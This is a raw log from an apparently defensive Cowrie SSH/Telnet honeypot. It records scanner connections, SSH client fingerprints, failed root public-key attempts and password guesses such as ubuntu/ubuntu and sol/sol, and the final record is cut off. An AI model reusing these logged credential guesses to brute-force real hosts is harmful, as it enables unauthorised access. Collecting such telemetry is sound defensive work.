{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:33.010835Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:01:33.232113Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.227.254.170","src_port":42300,"dst_ip":"10.17.0.5","dst_port":22,"session":"5eb1f1a0e071","protocol":"ssh","message":"New connection: 45.227.254.170:42300 (10.17.0.5:22) [session: 5eb1f1a0e071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:02:37.454291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:02:37.458937Z","src_ip":"45.227.254.170","session":"5eb1f1a0e071","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:02:37.562653Z","src_ip":"45.227.254.170","session":"5eb1f1a0e071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:02:38.012932Z","src_ip":"45.227.254.170","session":"5eb1f1a0e071","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.194.12","src_port":38420,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f1152a75d88","protocol":"ssh","message":"New connection: 134.209.194.12:38420 (10.17.0.5:22) [session: 5f1152a75d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:03:49.385900Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:03:49.464223Z","src_ip":"134.209.194.12","session":"5f1152a75d88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":52670,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6e752e4785e","protocol":"ssh","message":"New connection: 139.19.117.129:52670 (159.203.135.109:22) [session: f6e752e4785e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:04:58.922049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:04:58.926735Z","src_ip":"139.19.117.129","session":"f6e752e4785e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:04:59.018440Z","src_ip":"139.19.117.129","session":"f6e752e4785e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:f5:7a:88:d2:ee:82:fb:b9:4d:67:2b:a4:6c:d2:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwMfqsxMsZ5D01HAoBlQnZXc8g+HSdcsVrVegrD0g1sA4NiGeXnhCr3SHD9uC2wxsAt6tpvjFu49f/0pwNC+7OgSdwdxjmUMSCSYpoQMXH+mqY1eYiJG13NvxbHZCRZYc6PwgpJ5+tuv/f3oqGiWL8a3zxpf5o1BBMLtW5J2bDeVvly+qcpz8/UZKRHyB0TXEd4CHUD6kJptE9X2lP1O7ZpFZjSCT1YHMyeeK30YgYfQRGRx++nueLmfwlLOQJPS0TMdUFcS5ZGhISIoqLWQXrh9evj6n7ehpn2S+geZ7cfPxqMpvV74pwd38A6Hg7rC1XYjWiaeZ2p6QmejGWGsucw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:f5:7a:88:d2:ee:82:fb:b9:4d:67:2b:a4:6c:d2:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:04:59.206934Z","src_ip":"139.19.117.129","session":"f6e752e4785e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:f5:7a:88:d2:ee:82:fb:b9:4d:67:2b:a4:6c:d2:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwMfqsxMsZ5D01HAoBlQnZXc8g+HSdcsVrVegrD0g1sA4NiGeXnhCr3SHD9uC2wxsAt6tpvjFu49f/0pwNC+7OgSdwdxjmUMSCSYpoQMXH+mqY1eYiJG13NvxbHZCRZYc6PwgpJ5+tuv/f3oqGiWL8a3zxpf5o1BBMLtW5J2bDeVvly+qcpz8/UZKRHyB0TXEd4CHUD6kJptE9X2lP1O7ZpFZjSCT1YHMyeeK30YgYfQRGRx++nueLmfwlLOQJPS0TMdUFcS5ZGhISIoqLWQXrh9evj6n7ehpn2S+geZ7cfPxqMpvV74pwd38A6Hg7rC1XYjWiaeZ2p6QmejGWGsucw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:04:59.210166Z","src_ip":"139.19.117.129","session":"f6e752e4785e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:f5:7a:88:d2:ee:82:fb:b9:4d:67:2b:a4:6c:d2:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwMfqsxMsZ5D01HAoBlQnZXc8g+HSdcsVrVegrD0g1sA4NiGeXnhCr3SHD9uC2wxsAt6tpvjFu49f/0pwNC+7OgSdwdxjmUMSCSYpoQMXH+mqY1eYiJG13NvxbHZCRZYc6PwgpJ5+tuv/f3oqGiWL8a3zxpf5o1BBMLtW5J2bDeVvly+qcpz8/UZKRHyB0TXEd4CHUD6kJptE9X2lP1O7ZpFZjSCT1YHMyeeK30YgYfQRGRx++nueLmfwlLOQJPS0TMdUFcS5ZGhISIoqLWQXrh9evj6n7ehpn2S+geZ7cfPxqMpvV74pwd38A6Hg7rC1XYjWiaeZ2p6QmejGWGsucw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:f5:7a:88:d2:ee:82:fb:b9:4d:67:2b:a4:6c:d2:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:04:59.303179Z","src_ip":"139.19.117.129","session":"f6e752e4785e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:f5:7a:88:d2:ee:82:fb:b9:4d:67:2b:a4:6c:d2:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwMfqsxMsZ5D01HAoBlQnZXc8g+HSdcsVrVegrD0g1sA4NiGeXnhCr3SHD9uC2wxsAt6tpvjFu49f/0pwNC+7OgSdwdxjmUMSCSYpoQMXH+mqY1eYiJG13NvxbHZCRZYc6PwgpJ5+tuv/f3oqGiWL8a3zxpf5o1BBMLtW5J2bDeVvly+qcpz8/UZKRHyB0TXEd4CHUD6kJptE9X2lP1O7ZpFZjSCT1YHMyeeK30YgYfQRGRx++nueLmfwlLOQJPS0TMdUFcS5ZGhISIoqLWQXrh9evj6n7ehpn2S+geZ7cfPxqMpvV74pwd38A6Hg7rC1XYjWiaeZ2p6QmejGWGsucw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:04:59.306839Z","src_ip":"139.19.117.129","session":"f6e752e4785e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:05:08.921189Z","src_ip":"139.19.117.129","session":"f6e752e4785e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":20959,"dst_ip":"159.203.135.109","dst_port":22,"session":"494614b47df6","protocol":"ssh","message":"New connection: 2.57.121.25:20959 (159.203.135.109:22) [session: 494614b47df6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:06:24.265287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:06:24.269193Z","src_ip":"2.57.121.25","session":"494614b47df6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:06:24.363515Z","src_ip":"2.57.121.25","session":"494614b47df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"left","message":"login attempt [user/left] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:06:25.803628Z","src_ip":"2.57.121.25","session":"494614b47df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"leeroy","message":"login attempt [user/leeroy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:06:26.900315Z","src_ip":"2.57.121.25","session":"494614b47df6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"305.8","message":"Connection lost after 305.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:06:26.950136Z","src_ip":"115.220.129.245","session":"81b24e2f5f5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"l3tm31n","message":"login attempt [user/l3tm31n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:06:27.997713Z","src_ip":"2.57.121.25","session":"494614b47df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"kumar","message":"login attempt [user/kumar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:06:29.097082Z","src_ip":"2.57.121.25","session":"494614b47df6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"kfcnjxrf","message":"login attempt [user/kfcnjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:06:30.194703Z","src_ip":"2.57.121.25","session":"494614b47df6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:06:31.292361Z","src_ip":"2.57.121.25","session":"494614b47df6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.194.12","src_port":52318,"dst_ip":"10.17.0.5","dst_port":22,"session":"f11f644ce660","protocol":"ssh","message":"New connection: 134.209.194.12:52318 (10.17.0.5:22) [session: f11f644ce660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:06:49.439890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:06:49.465932Z","src_ip":"134.209.194.12","session":"f11f644ce660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:06:49.538157Z","src_ip":"134.209.194.12","session":"f11f644ce660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:06:49.892957Z","src_ip":"134.209.194.12","session":"f11f644ce660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:06:50.971648Z","src_ip":"134.209.194.12","session":"f11f644ce660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.203.90.30","src_port":59530,"dst_ip":"159.203.135.109","dst_port":23,"session":"14a70d9f6010","protocol":"telnet","message":"New connection: 119.203.90.30:59530 (159.203.135.109:23) [session: 14a70d9f6010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:07:40.710816Z"}
{"eventid":"cowrie.session.closed","duration":38.68542766571045,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:08:19.396192Z","src_ip":"119.203.90.30","session":"14a70d9f6010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.194.12","src_port":43740,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd79ab7ef1eb","protocol":"ssh","message":"New connection: 134.209.194.12:43740 (10.17.0.5:22) [session: cd79ab7ef1eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:09:03.503447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:09:03.550332Z","src_ip":"134.209.194.12","session":"cd79ab7ef1eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:09:03.629764Z","src_ip":"134.209.194.12","session":"cd79ab7ef1eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:09:04.234148Z","src_ip":"134.209.194.12","session":"cd79ab7ef1eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:09:05.319472Z","src_ip":"134.209.194.12","session":"cd79ab7ef1eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"54.211.193.79","src_port":30884,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cc5e7948520","protocol":"ssh","message":"New connection: 54.211.193.79:30884 (10.17.0.5:22) [session: 7cc5e7948520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:10:04.486023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T22:10:06.204399Z","src_ip":"54.211.193.79","session":"7cc5e7948520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rs